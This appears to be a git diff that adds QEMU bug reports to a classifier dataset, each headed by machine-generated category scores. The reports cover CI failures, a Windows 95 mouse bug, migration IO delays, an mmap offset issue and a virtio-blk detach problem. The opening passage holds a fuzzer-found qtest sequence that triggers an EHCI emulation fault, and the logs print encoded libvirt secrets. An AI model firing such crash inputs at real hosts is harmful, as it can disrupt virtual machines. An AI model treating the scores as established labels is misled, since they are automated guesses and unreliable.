returns 0 if qtd->token.QTD_TOKEN_PID is not +valid[0]. In this case, the patch cannot capture it because pid is zero[2]. +This case is specific to EHCI as far as I know. It seems we want to drop +the operation if ehci_get_pid() returns 0. + +```static int ehci_get_pid(EHCIqtd *qtd) +{ + switch (get_field(qtd->token, QTD_TOKEN_PID)) { + case 0: + return USB_TOKEN_OUT; + case 1: + return USB_TOKEN_IN; + case 2: + return USB_TOKEN_SETUP; + default: + fprintf(stderr, "bad token\n"); // +---------------------------------------------> [0] + return 0; + } +} + +static int ehci_execute(EHCIPacket *p, const char *action) +{ + p->pid = ehci_get_pid(&p->qtd); // +--------------------------------------------> [1] + p->queue->last_pid = p->pid; + endp = get_field(p->queue->qh.epchar, QH_EPCHAR_EP); + ep = usb_ep_get(p->queue->dev, p->pid/*=0*/, endp); // +-----------------------> [2] +``` + +A qtest sequence is like +``` +writel 0x1011b000 0x10124000 +writel 0x10124004 0x358cbd80 +writel 0x10124018 0x9e4bba36 +writel 0x10124014 0x10139000 +writel 0xfebd5020 0x1c4a5135 +writel 0x10139008 0x3d5c4b84 +clock_step 0xb17b0 +writel 0xfebd5064 0x5f919911 +clock_step 0xa9229 +writel 0xfebd5064 0x5431e207 +writel 0xfebd5038 0x1b2034b5 +writel 0x1b2034a0 0x10100000 +writel 0x10100000 0x10109000 +writel 0x10109000 0x1011b000 +clock_step 0xa9229 +``` + +Best, +Qiang + + diff --git a/results/classifier/108/graphic/1883 b/results/classifier/108/graphic/1883 new file mode 100644 index 000000000..09fc91793 --- /dev/null +++ b/results/classifier/108/graphic/1883 @@ -0,0 +1,21 @@ +graphic: 0.956 +semantic: 0.724 +device: 0.551 +other: 0.477 +performance: 0.380 +network: 0.211 +PID: 0.187 +vnc: 0.170 +debug: 0.146 +files: 0.073 +permissions: 0.059 +socket: 0.044 +boot: 0.038 +KVM: 0.003 + +riscv64-debian-cross-container CI job fails +Description of problem: +The riscv64-debian-cross-container job is allowed to fail and has been failing for some time. If it fails all the time then running it is a waste of electricity and the test should be disabled. Or maybe someone familiar with the test can rectify things and get it passing again. Either way, it's time for someone familiar with the test to review it. + +Here it a recent CI failure: +https://gitlab.com/qemu-project/qemu/-/jobs/5058610458 diff --git a/results/classifier/108/graphic/1884017 b/results/classifier/108/graphic/1884017 new file mode 100644 index 000000000..449a59d85 --- /dev/null +++ b/results/classifier/108/graphic/1884017 @@ -0,0 +1,66 @@ +graphic: 0.921 +device: 0.835 +other: 0.811 +permissions: 0.766 +network: 0.759 +performance: 0.757 +files: 0.738 +semantic: 0.705 +PID: 0.673 +debug: 0.670 +socket: 0.652 +vnc: 0.652 +boot: 0.592 +KVM: 0.577 + +Intermittently erratic mouse under Windows 95 + +The mouse works fine maybe 75-80% of the time, but intermittently (every 20-30 seconds or so), moving the mouse will cause the pointer to fly around the screen at high speed, usually colliding with the edges, and much more problematically, click all the mouse buttons at random, even if you are not clicking. This causes random objects on the screen to be clicked and dragged around, rendering the system generally unusable. + +I don't know if this is related to #1785485 - it happens even if you never use the scroll wheel. + +qemu version: 5.0.0 (openSUSE Tumbleweed) + +Launch command line: qemu-system-i386 -hda win95.qcow2 -cpu pentium2 -m 16 -vga cirrus -soundhw sb16 -nic user,model=pcnet -rtc base=localtime + +OS version: Windows 95 4.00.950 C + +I have made the disk image available here: https://home.gloveraoki.me/share/win95.qcow2.lz + +Setup notes: In order to make Windows 95 detect the system devices correctly, after first install you must change the driver for "Plug and Play BIOS" to "PCI bus". I have already done this in the above image. + +Weirdly, this problem doesn't occur when running qemu on macOS (10.15.5). It only happens on my PC running openSUSE Tumbleweed. + +However, even on that PC, it only affects Windows 95, and not Windows 98, or other operating systems. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1889 b/results/classifier/108/graphic/1889 new file mode 100644 index 000000000..4ae1dba8a --- /dev/null +++ b/results/classifier/108/graphic/1889 @@ -0,0 +1,62 @@ +graphic: 0.925 +performance: 0.898 +boot: 0.838 +socket: 0.768 +device: 0.752 +PID: 0.705 +vnc: 0.595 +semantic: 0.537 +network: 0.531 +other: 0.449 +permissions: 0.379 +files: 0.317 +debug: 0.311 +KVM: 0.204 + +IO delays on live migration lv initialization +Description of problem: +Hi, + +When I live migrate a VM via Proxmox and the destination is an LVM thin pool I see that at the start of copying the disk it's first initialized. + +This leads the thin volume to be directly 100% allocated which needs to be discarded afterwards. Not ideal but .... + +The more annoying thing is that this initialization step used 100% of disk IO. In iotop I see it writing over 1000MB/sec. The nasty side effect is that other VM's on that host are negatively affected. It's not completely locked up, I can ssh in and look around, but storage intensive things see more delay. With e.g. http requests timing out. And even a simple ls command could take 10+ seconds which is normally instant. + + +I've previously reported it on the [proxmox forum](https://forum.proxmox.com/threads/io-delays-on-live-migration-lv-initialization.132296/#post-582050) but the call was made that this is behavior from Qemu. + +> The zeroing happens, because of what QEMU does when the discard option is enabled: + + +When I disable discard for the VM disk I can see that it's not pre-initialized during migration, but not having that defeats the purpose of having an lvm thin pool. + +For the (disk) migration itself I can set a bandwidth limit ... could we do something similar for initialization? + + +Even better would be to not initialize at all when using LVM thin. As far as I understand it the new blocks allocated by lvm thin should always be empty. +Steps to reproduce: +1. Migrate a vm with a large disk +2. look in iotop on the new host, would be see more write IO then the network could handle.. just before the disk content is transferred. +3. look in another VM on the destination host, reading from disk would be significantly slower then normal. +Additional information: +An example VM config +``` +agent: 1,fstrim_cloned_disks=1 +balloon: 512 +bootdisk: scsi0 +cores: 6 +ide2: none,media=cdrom +memory: 8196 +name: ... +net0: virtio=...,bridge=... +numa: 0 +onboot: 1 +ostype: l26 +scsi0: thin_pool_hwraid:vm-301-disk-0,discard=on,format=raw,size=16192M +scsi1: thin_pool_hwraid:vm-301-disk-1,discard=on,format=raw,size=26G +scsihw: virtio-scsi-pci +serial0: socket +smbios1: uuid=... +sockets: 1 +``` diff --git a/results/classifier/108/graphic/1894617 b/results/classifier/108/graphic/1894617 new file mode 100644 index 000000000..42d1ac672 --- /dev/null +++ b/results/classifier/108/graphic/1894617 @@ -0,0 +1,71 @@ +graphic: 0.926 +device: 0.910 +permissions: 0.903 +other: 0.879 +semantic: 0.875 +debug: 0.865 +socket: 0.859 +PID: 0.828 +vnc: 0.806 +network: 0.774 +files: 0.762 +performance: 0.755 +KVM: 0.702 +boot: 0.557 + +qemu-i386 mmap but offset greater than 32 bits + +I don't know if it's a problem, but I did, and it bothered me for a long time. +When I use qemu-i386 and interact with the video card device,an error has occurred: + +18534 ioctl(4,DRM_IOCTL_MODE_GETENCODER,{39,0,0,0,0}) = 0 ({39,4,34,3,0}) +18534 ioctl(4,DRM_IOCTL_MODE_CREATE_DUMB,{1080,1920,32,0,0,0,0}) = 0 ({1080,1920,32,0,1,7680,8294400}) +18534 ioctl(4,DRM_IOCTL_MODE_ADDFB,{0,1920,1080,7680,32,24,1}) = 0 ({66,1920,1080,7680,32,24,1}) +18534 ioctl(4,DRM_IOCTL_MODE_MAP_DUMB,{1,0,0}) = 0 ({1,0,5543018496}) +18534 mmap2(NULL,8294400,PROT_READ|PROT_WRITE,MAP_SHARED,4,0x14a63c) = -1 errno=22 (Invalid argument) + +"5543018496" is the offset through ioctl() and it is "0x14a63c000". +In qemu： +ret = target_mmap(arg1, arg2, arg3, + target_to_host_bitmask(arg4, mmap_flags_tbl), + arg5, arg6 << MMAP_SHIFT); + +The type of "arg6" is ulong.When use qemu-i386, arg6 can't be set to "0x14a63c000".So it's wrong for my program. + +I want to find a good way to deal with this kind of problem, but I'm not very familiar with QEMU， +so I came to ask how to deal with this problem. + +Thank you！ + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1894804 b/results/classifier/108/graphic/1894804 new file mode 100644 index 000000000..a2e477f52 --- /dev/null +++ b/results/classifier/108/graphic/1894804 @@ -0,0 +1,677 @@ +graphic: 0.960 +other: 0.945 +semantic: 0.935 +debug: 0.933 +device: 0.927 +socket: 0.925 +permissions: 0.921 +performance: 0.920 +network: 0.916 +PID: 0.914 +vnc: 0.890 +files: 0.869 +boot: 0.866 +KVM: 0.799 + +Second DEVICE_DELETED event missing during virtio-blk disk device detach + +We are in the process of moving OpenStack CI across to use 20.04 Focal as the underlying OS and encountering the following issue in any test attempting to detach disk devices from running QEMU instances. + +We can see a single DEVICE_DELETED event raised to libvirtd for the /machine/peripheral/virtio-disk1/virtio-backend device but we do not see a second event for the actual disk. As a result the device is still marked as present in libvirt but QEMU reports it as missing in subsequent attempts to remove the device. + +The following log snippets can also be found in the following pastebin that's slightly easier to gork: + +http://paste.openstack.org/show/797564/ + +https://review.opendev.org/#/c/746981/ libvirt: Bump MIN_{LIBVIRT,QEMU}_VERSION and NEXT_MIN_{LIBVIRT,QEMU}_VERSION + +https://zuul.opendev.org/t/openstack/build/4c56def513884c5eb3ba7b0adf7fa260 nova-ceph-multistore + +https://zuul.opendev.org/t/openstack/build/4c56def513884c5eb3ba7b0adf7fa260/log/controller/logs/dpkg-l.txt + +ii libvirt-daemon 6.0.0-0ubuntu8.3 amd64 Virtualization daemon +ii libvirt-daemon-driver-qemu 6.0.0-0ubuntu8.3 amd64 Virtualization daemon QEMU connection driver +ii libvirt-daemon-system 6.0.0-0ubuntu8.3 amd64 Libvirt daemon configuration files +ii libvirt-daemon-system-systemd 6.0.0-0ubuntu8.3 amd64 Libvirt daemon configuration files (systemd) +ii libvirt-dev:amd64 6.0.0-0ubuntu8.3 amd64 development files for the libvirt library +ii libvirt0:amd64 6.0.0-0ubuntu8.3 amd64 library for interfacing with different virtualization systems +[..] +ii qemu-block-extra:amd64 1:4.2-3ubuntu6.4 amd64 extra block backend modules for qemu-system and qemu-utils +ii qemu-slof 20191209+dfsg-1 all Slimline Open Firmware -- QEMU PowerPC version +ii qemu-system 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries +ii qemu-system-arm 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (arm) +ii qemu-system-common 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-data 1:4.2-3ubuntu6.4 all QEMU full system emulation (data files) +ii qemu-system-mips 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (mips) +ii qemu-system-misc 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (miscellaneous) +ii qemu-system-ppc 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (ppc) +ii qemu-system-s390x 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (s390x) +ii qemu-system-sparc 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (sparc) +ii qemu-system-x86 1:4.2-3ubuntu6.4 amd64 QEMU full system emulation binaries (x86) +ii qemu-utils 1:4.2-3ubuntu6.4 amd64 QEMU utilities + +https://zuul.opendev.org/t/openstack/build/4c56def513884c5eb3ba7b0adf7fa260/log/controller/logs/libvirt/qemu/instance-0000003a_log.txt + +2020-09-07 19:29:55.021+0000: starting up libvirt version: 6.0.0, package: 0ubuntu8.3 (Marc Deslauriers <email address hidden> Thu, 30 Jul 2020 06:40:28 -0400), qemu version: 4.2.0Debian 1:4.2-3ubuntu6.4, kernel: 5.4.0-45-generic, hostname: ubuntu-focal-ovh-bhs1-0019682147 +LC_ALL=C \ +PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin \ +HOME=/var/lib/libvirt/qemu/domain-86-instance-0000003a \ +XDG_DATA_HOME=/var/lib/libvirt/qemu/domain-86-instance-0000003a/.local/share \ +XDG_CACHE_HOME=/var/lib/libvirt/qemu/domain-86-instance-0000003a/.cache \ +XDG_CONFIG_HOME=/var/lib/libvirt/qemu/domain-86-instance-0000003a/.config \ +QEMU_AUDIO_DRV=none \ +/usr/bin/qemu-system-x86_64 \ +-name guest=instance-0000003a,debug-threads=on \ +-S \ +-object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-86-instance-0000003a/master-key.aes \ +-machine pc-i440fx-4.2,accel=tcg,usb=off,dump-guest-core=off \ +-cpu qemu64 \ +-m 128 \ +-overcommit mem-lock=off \ +-smp 1,sockets=1,cores=1,threads=1 \ +-uuid 0d59f238-daef-40d4-adf9-a4fa24c35231 \ +-smbios 'type=1,manufacturer=OpenStack Foundation,product=OpenStack Nova,version=21.1.0,serial=0d59f238-daef-40d4-adf9-a4fa24c35231,uuid=0d59f238-daef-40d4-adf9-a4fa24c35231,family=Virtual Machine' \ +-no-user-config \ +-nodefaults \ +-chardev socket,id=charmonitor,fd=39,server,nowait \ +-mon chardev=charmonitor,id=monitor,mode=control \ +-rtc base=utc \ +-no-shutdown \ +-boot strict=on \ +-device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 \ +-object secret,id=libvirt-3-storage-secret0,data=zT+XibedVJZM2du1+PXpIXHMVJ9a0pVcKihOtCGwlB0=,keyid=masterKey0,iv=536Lfw+nsyvDhFBTOQG4zA==,format=base64 \ +-blockdev '{"driver":"rbd","pool":"vms","image":"0d59f238-daef-40d4-adf9-a4fa24c35231_disk","server":[{"host":"158.69.70.115","port":"6789"}],"user":"cinder","auth-client-required":["cephx","none"],"key-secret":"libvirt-3-storage-secret0","node-name":"libvirt-3-storage","cache":{"direct":false,"no-flush":false},"auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-3-format","read-only":false,"cache":{"direct":false,"no-flush":false},"driver":"raw","file":"libvirt-3-storage"}' \ +-device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=libvirt-3-format,id=virtio-disk0,bootindex=1,write-cache=on \ +-object secret,id=libvirt-2-storage-secret0,data=SO9AgCCTvkBBMYHZe+LVzoCF4GUNgvBtkFwRRIji7WI=,keyid=masterKey0,iv=MzGu/h2Api4mMG9lL8hvdg==,format=base64 \ +-blockdev '{"driver":"rbd","pool":"volumes","image":"volume-04dd79b2-3c05-4492-b1d7-7969d24df768","server":[{"host":"158.69.70.115","port":"6789"}],"user":"cinder","auth-client-required":["cephx","none"],"key-secret":"libvirt-2-storage-secret0","node-name":"libvirt-2-storage","cache":{"direct":false,"no-flush":false},"auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-2-format","read-only":false,"discard":"unmap","cache":{"direct":false,"no-flush":false},"driver":"raw","file":"libvirt-2-storage"}' \ +-device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=libvirt-2-format,id=virtio-disk1,write-cache=on,serial=04dd79b2-3c05-4492-b1d7-7969d24df768 \ +-object secret,id=libvirt-1-storage-secret0,data=lhbR9+ewiXiaf3dKoQWP3bk6hlLMLRXnbhh9ZkjZ9dQ=,keyid=masterKey0,iv=WWHpGuOHkwXqxlLxGUqpcA==,format=base64 \ +-blockdev '{"driver":"rbd","pool":"vms","image":"0d59f238-daef-40d4-adf9-a4fa24c35231_disk.config","server":[{"host":"158.69.70.115","port":"6789"}],"user":"cinder","auth-client-required":["cephx","none"],"key-secret":"libvirt-1-storage-secret0","node-name":"libvirt-1-storage","cache":{"direct":false,"no-flush":false},"auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-1-format","read-only":true,"cache":{"direct":false,"no-flush":false},"driver":"raw","file":"libvirt-1-storage"}' \ +-device ide-cd,bus=ide.0,unit=0,drive=libvirt-1-format,id=ide0-0-0,write-cache=on \ +-netdev tap,fd=41,id=hostnet0 \ +-device virtio-net-pci,host_mtu=1400,netdev=hostnet0,id=net0,mac=fa:16:3e:4d:bb:0b,bus=pci.0,addr=0x3 \ +-add-fd set=2,fd=43 \ +-chardev pty,id=charserial0,logfile=/dev/fdset/2,logappend=on \ +-device isa-serial,chardev=charserial0,id=serial0 \ +-vnc 0.0.0.0:3 \ +-device cirrus-vga,id=video0,bus=pci.0,addr=0x2 \ +-device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 \ +-object rng-random,id=objrng0,filename=/dev/urandom \ +-device virtio-rng-pci,rng=objrng0,id=rng0,bus=pci.0,addr=0x6 \ +-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \ +-msg timestamp=on +char device redirected to /dev/pts/1 (label charserial0) + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/testr_results.html + +tempest.api.compute.servers.test_server_rescue_negative.ServerRescueNegativeTestJSON.test_rescued_vm_detach_volume + +2020-09-07 19:30:13,764 100285 INFO [tempest.lib.common.rest_client] Request (ServerRescueNegativeTestJSON:_run_cleanups): 202 DELETE https://158.69.70.115/compute/v2.1/servers/0d59f238-daef-40d4-adf9-a4fa24c35231/os-volume_attachments/04dd79b2-3c05-4492-b1d7-7969d24df768 1.261s +2020-09-07 19:30:13,764 100285 DEBUG [tempest.lib.common.rest_client] Request - Headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-Auth-Token': '<omitted>'} + Body: None + Response - Headers: {'date': 'Mon, 07 Sep 2020 19:30:12 GMT', 'server': 'Apache/2.4.41 (Ubuntu)', 'content-length': '0', 'content-type': 'application/json', 'openstack-api-version': 'compute 2.1', 'x-openstack-nova-api-version': '2.1', 'vary': 'OpenStack-API-Version,X-OpenStack-Nova-API-Version', 'x-openstack-request-id': 'req-502a0106-3eb9-4d42-9dd4-c43ba89187b6', 'x-compute-request-id': 'req-502a0106-3eb9-4d42-9dd4-c43ba89187b6', 'connection': 'close', 'status': '202', 'content-location': 'https://158.69.70.115/compute/v2.1/servers/0d59f238-daef-40d4-adf9-a4fa24c35231/os-volume_attachments/04dd79b2-3c05-4492-b1d7-7969d24df768'} + Body: b'' + +# First attempt to detach the device by n-cpu + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/controller/logs/screen-n-cpu.txt (gzipped) + +29957 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [None req-502a0106-3eb9-4d42-9dd4-c43ba89187b6 tempest-ServerRescueNegativeTestJSON-73411582 tempest-ServerRescueNegativeTestJSON-73411582] detach device xml: <disk type="network" de +29958 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +29959 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +29960 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +29961 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +29962 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +29963 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +29964 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +29965 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> +29966 Sep 07 19:30:14.185403 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: {{(pid=92697) detach_device /opt/stack/nova/nova/virt/libvirt/guest.py:510}} + +# DEVICE_DELETED only raised for /machine/peripheral/virtio-disk1/virtio-backend + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/controller/logs/libvirt/libvirtd_log.txt (gzipped) + +329344 2020-09-07 19:30:14.165+0000: 65559: debug : qemuDomainObjEnterMonitorInternal:9869 : Entering monitor (mon=0x7f769405e470 vm=0x7f768c0df0b0 name=instance-0000003a) +329345 2020-09-07 19:30:14.165+0000: 65559: debug : qemuMonitorDelDevice:2848 : devalias=virtio-disk1 +329346 2020-09-07 19:30:14.165+0000: 65559: debug : qemuMonitorDelDevice:2850 : mon:0x7f769405e470 vm:0x7f768c0df0b0 fd:39 +329347 2020-09-07 19:30:14.165+0000: 65559: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f769405e470 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-367"}^M +329348 fd=-1 +329349 2020-09-07 19:30:14.165+0000: 65555: info : qemuMonitorIOWrite:450 : QEMU_MONITOR_IO_WRITE: mon=0x7f769405e470 buf={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-367"}^M +329350 len=79 ret=79 errno=0 +329351 2020-09-07 19:30:14.168+0000: 65555: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"return": {}, "id": "libvirt-367"}] +329352 2020-09-07 19:30:14.168+0000: 65555: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f769405e470 reply={"return": {}, "id": "libvirt-367"} +329353 2020-09-07 19:30:14.168+0000: 65559: debug : qemuDomainObjExitMonitorInternal:9892 : Exited monitor (mon=0x7f769405e470 vm=0x7f768c0df0b0 name=instance-0000003a) +329354 2020-09-07 19:30:14.201+0000: 65555: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1599507014, "microseconds": 201037}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +329355 2020-09-07 19:30:14.208+0000: 65555: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f769405e470 event={"timestamp": {"seconds": 1599507014, "microseconds": 201037}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}} +329356 2020-09-07 19:30:14.208+0000: 65555: debug : qemuMonitorJSONIOProcessEvent:181 : mon=0x7f769405e470 obj=0x55dd95d0cba0 +329357 2020-09-07 19:30:14.208+0000: 65555: debug : qemuMonitorEmitEvent:1198 : mon=0x7f769405e470 event=DEVICE_DELETED +329358 2020-09-07 19:30:14.208+0000: 65555: debug : qemuProcessHandleEvent:549 : vm=0x7f768c0df0b0 +329359 2020-09-07 19:30:14.208+0000: 65555: debug : virObjectEventNew:631 : obj=0x55dd95d3bf60 +329360 2020-09-07 19:30:14.208+0000: 65555: debug : qemuMonitorJSONIOProcessEvent:205 : handle DEVICE_DELETED handler=0x7f7691732840 data=0x55dd95eae3c0 +329361 2020-09-07 19:30:14.208+0000: 65555: debug : qemuMonitorJSONHandleDeviceDeleted:1287 : missing device in device deleted event + +# Second attempt to detach the device by n-cpu + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/controller/logs/screen-n-cpu.txt (gzipped) + +30046 Sep 07 19:30:19.192548 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG oslo.service.loopingcall [None req-502a0106-3eb9-4d42-9dd4-c43ba89187b6 tempest-ServerRescueNegativeTestJSON-73411582 tempest-ServerRescueNegativeTestJSON-73411582] Waiting for function nova.virt.libvirt.gu +30047 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30048 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30049 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30050 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30051 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30052 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30053 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30054 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30055 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> +30056 Sep 07 19:30:19.194846 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: {{(pid=92697) detach_device /opt/stack/nova/nova/virt/libvirt/guest.py:510}} + +# DeviceNotFound raised by QEMU + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/controller/logs/libvirt/libvirtd_log.txt (gzipped) + +332479 2020-09-07 19:30:19.196+0000: 65560: debug : qemuDomainObjBeginJobInternal:9416 : Starting job: job=modify agentJob=none asyncJob=none (vm=0x7f768c0df0b0 name=instance-0000003a, current job=none agentJob=none async=none) +332480 2020-09-07 19:30:19.196+0000: 65560: debug : qemuDomainObjBeginJobInternal:9470 : Started job: modify (async=none vm=0x7f768c0df0b0 name=instance-0000003a) +332481 2020-09-07 19:30:19.196+0000: 65560: debug : qemuDomainObjEnterMonitorInternal:9869 : Entering monitor (mon=0x7f769405e470 vm=0x7f768c0df0b0 name=instance-0000003a) +332482 2020-09-07 19:30:19.196+0000: 65560: debug : qemuMonitorDelDevice:2848 : devalias=virtio-disk1 +332483 2020-09-07 19:30:19.196+0000: 65560: debug : qemuMonitorDelDevice:2850 : mon:0x7f769405e470 vm:0x7f768c0df0b0 fd:39 +332484 2020-09-07 19:30:19.196+0000: 65560: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f769405e470 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-369"}^M +332485 fd=-1 +332486 2020-09-07 19:30:19.196+0000: 65555: info : qemuMonitorIOWrite:450 : QEMU_MONITOR_IO_WRITE: mon=0x7f769405e470 buf={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-369"}^M +332487 len=79 ret=79 errno=0 +332488 2020-09-07 19:30:19.197+0000: 65555: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"id": "libvirt-369", "error": {"class": "DeviceNotFound", "desc": "Device 'virtio-disk1' not found"}}] +332489 2020-09-07 19:30:19.197+0000: 65555: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f769405e470 reply={"id": "libvirt-369", "error": {"class": "DeviceNotFound", "desc": "Device 'virtio-disk1' not found"}} +332490 2020-09-07 19:30:19.197+0000: 65560: debug : qemuDomainObjExitMonitorInternal:9892 : Exited monitor (mon=0x7f769405e470 vm=0x7f768c0df0b0 name=instance-0000003a) +332491 2020-09-07 19:30:19.197+0000: 65560: debug : qemuDomainDeleteDevice:128 : Detaching of device virtio-disk1 failed and no event arrived + +# n-cpu continues to retry the detach + +30245 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30246 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30247 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" 